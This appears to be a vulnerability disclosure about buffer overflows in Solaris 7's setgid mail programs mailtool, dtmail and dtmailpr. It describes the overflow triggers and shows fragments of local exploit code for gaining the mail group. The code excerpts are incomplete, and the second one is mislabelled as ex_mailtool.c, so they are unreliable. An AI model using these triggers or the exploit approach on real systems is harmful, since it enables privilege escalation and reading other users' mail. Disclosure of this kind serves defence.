The mailer programs (mailtool and dtmail) and mail message print filter
(dtmailpr) which are installed on Solaris7 have exploitable buffer
overflow bug. These programs are sgid (mail group) programs, local user
can obtain mail group. The mail files are generated with 660 permission,
so any user can read/write other user's mail files.
1) mailtool
This is usually used on the OpenWindow environment. There is a problem
on the handling of "Content-Type:".
For example,
Content-Type: image/aaaaaaaa long 'a' aaaaaa; name="test.gif"
The mailtool overflows if you choose an e-mail which contains such "Content-Type".
If root choose an e-mail which is written the exploit code, a local user
who has mail gid can obtain root privilege.
2) dtmail
This is usually used on the CDE. If the long string is specified with
"-f" option, dtmail overflows. This overflow is exploitable very easy.
You can confirm EIP=0x41414141 when you specify long "a".
3) dtmailpr
dtmailpr is mail message print filter program. This program overflows
"-f" option, too. You can also confirm EIP=0x41414141 with long "a".
I coded the exploits to get mail gid(egid=6). There are for Intel
Solaris7. There are same kind of problems on Sparc Solaris7 and
Solaris2.6 (Intel,Sparc)
ex_mailtool.c
-----
/*=============================================================================
Solaris mailtool exploit for Solaris7 Intel Edition
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by UNYUN (shadowpenguin@backsection.net)
Descripton:
Local user can read/write any user's mailbox
Usage:
setenv DISPLAY yourdisply
gcc ex_mailtool.c
./a.out /var/mail/[any user]
- Choice "exploit@localhost" mail
=============================================================================
*/
if ((fp=fopen(argv[1],"ab"))==NULL){
printf("Can not write '%s'\n",argv[1]);
exit(1);
}
fprintf(fp,HEAD,buf);
fclose(fp);
printf("Exploit mail has been added.\n");
printf("Choice \"exploit@localhost\" mail.\n");
sprintf(buf,"cd %s; mailtool",DIR);
system(buf);
}
ex_mailtool.c
-----
/*=============================================================================
Solaris dtmailpr exploit for Solaris7 Intel Edition
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by UNYUN (shadowpenguin@backsection.net)
Descripton:
Local user can read/write any user's mailbox
=============================================================================
*/